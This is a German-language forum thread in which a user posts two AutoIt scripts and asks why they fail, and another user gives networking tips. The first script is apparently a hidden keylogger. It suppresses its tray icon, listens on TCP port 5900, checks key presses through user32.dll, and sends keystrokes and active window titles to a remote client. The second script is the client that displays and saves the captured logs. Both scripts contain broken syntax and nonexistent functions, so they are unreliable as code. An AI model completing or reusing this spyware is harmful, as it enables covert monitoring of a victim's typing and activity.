Autoit Problem TCP!

10/30/2013 19:43 Zed17#1
Nabend alle zusammen!

Ich habe ein kleines problem mit den 2 Scripten hier. Die wollen irgendwie nicht harmonieren. Könnt ihr mir da helfen? Ich hab sicher irgendwo flüchtigkeitsfehler oder bin einfach nur blöd.

Code:
#Include <Misc.au3>
#NoTrayIcon
TCPStartup() 
Local $window2 = ''
$Socket = TCPListen('(leleleIP adresse!)', 5900,1) ;Für (leleleIP) später §IPAdress einfügen

Do
$Connection = TCPAccept($Socket) 
Until $Connection <> -1 

$dll = DllOpen("user32.dll") 

While 1 ;Endlosschleife
if _IsPressed ('41', $dll) Then 
$window2 = WinGetTitle('') 

if $window - $window2 Then 
TCPSend($Connection,'a') 
Sleep(150)
Else 
$window2 - $window
TCPSend($Connection, @CRLF & '[' & @YEAR & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : ' & $window & @CRLF) 
TCPSend($Connection, 'a') ; Sende an Client a
Sleep(150)
EndIf
EndIf
Sleep(1)
WEnd
und das hier


Code:
HotKeySet('(F1)','_disconnect')
HotKeySet('(F2)','_exit') ;Seite HotKeys

MsgBox(0,'Info','To save the logs, press F1 and for reconnect, start the client again.' & @CRLF & 'F2 = Exit')

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Tester", 373, 426, 257, 155)
$ip_adress = GUICtrlCreateInput("Die IP adresse!", 16, 16, 121, 21)
$Button1 = GUICtrlCreateButton("Connection", 152, 16, 91, 25, 0)
$Status = GUICtrlCreateLabel("Disconnect", 272, 16, 58, 17)
GUICtrlSetColor(-1, 0xFF0000)
$Edit1 = GUICtrlCreateEdit("", 16, 56, 345, 321, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN))
$Button2 = GUICtrlCreateButton("Save", 16, 392, 345, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

Global $disconnect = 0


While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

Case $Button1
$disconnect = 0 
TCPStartup()

$Connection = TCPConnect(GUICtrlRead($ip_adress), 5900) 


If $Connection < 0 Then 
MsgBox(16, 'Error', 'Verbindung konnte nicht aufgebaut werden.')
_exit()
Else

While $disconnect = 0 ;Solange $disconnect auf 0 ist...
GUICtrlCreateData($status, 'Connected')
GUICtrlCreateColor($status, 0x00FF00)

$Resv = TCPRecv($Connection, 2) 
GUICtrlCreateData($Edit1, $Resv,1) 

if @error Then ;Wenn ein Error auftritt...
MsgBox(16,'Error','Verbindung unterbrochen!')
_exit()
EndIf
WEnd
EndIf

Case $Button2
if NOT FileExists(@ScriptDir & 'log.txt') Then 
_FileCreate('log-txt') 
Sleep(200)
$title = FileOpen('log.txt' , 1)
Else
$title = FileOpen('log.txt' , 1)
EndIf

FileWrite($File, GUICtrlRead($Edit1))

Sleep(500)
FileClose($file)


EndSwitch
WEnd

Func _disconnect()
$disconnect = 1 
GUICtrlSetData($status, 'Disconnected')
GUICtrlSetColor($status, 0xFF0000)
EndFunc

Func _exit()
TCPCloseSocket($Connection) 
TCPShutdown()
Exit
EndFunc

Das war es dann... :)
10/30/2013 19:47 alpines#2
Wo laufen die Scripte? Blockt die Firewall vielleicht den Zugang? Versuch die Server mal aus 127.0.0.1 zum laufen zu kriegen bevor du das online machst.
10/30/2013 19:49 Zed17#3
Hm.. Okay
10/30/2013 19:53 alpines#4
Warum testest du das Script online? Vielleicht blockt ja die Firewall, bring das Script erstmal auf 127.0.0.1 zum laufen und dann seh' weiter.

Außerdem musst du länger receiven als einmal, siehe:
Code:
Local $sReceived = ""
Do
	$sReceived &= TCPRecv($hServer, 2048)
Until $sReceived <> ""
Statt "" würde ich lieber ein Symbol am Ende jeden Packets setzen damit du dir 100%ig sicher sein kannst, das das Paket vollständig da ist.

//Sorry, Browser abgeschmiert aber das wollt ich noch hinzufügen, zu spät gesehen. Egal.
10/30/2013 19:55 Zed17#5
Du hast recht